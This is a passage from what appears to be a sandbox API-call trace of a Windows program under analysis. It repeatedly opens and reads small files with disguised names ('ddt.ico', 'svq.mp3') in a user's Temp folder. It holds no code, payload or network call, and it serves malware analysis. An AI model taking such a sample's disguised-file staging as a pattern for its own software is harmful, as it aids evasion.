(in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.867] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.867] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.867] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.867] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.867] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.867] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.867] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.868] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.868] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.868] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.868] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.868] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.868] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.868] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.868] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.869] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.869] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.869] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.869] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.869] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.869] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.869] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.869] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.869] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.869] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.869] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.870] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.870] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.870] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.870] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.870] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.870] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.870] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.870] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.870] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.870] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.870] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.870] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.870] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.871] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.871] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.871] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.871] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.871] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.871] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.871] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.871] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.871] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.871] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.871] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.872] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.872] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.872] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.872] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.872] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.872] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.872] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.872] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.872] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.872] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.873] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.873] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.873] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.873] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.873] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.873] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.873] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.874] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.874] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.874] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.874] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.874] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.874] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.874] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.874] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.875] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.875] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.875] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.875] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.875] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.875] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.875] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.875] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.875] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.876] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.876] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.876] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.876] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.876] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.876] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.876] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.876] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.876] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.876] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.877] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.877] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.877] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.877] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.877] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.877] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.877] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.877] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.878] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.878] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, 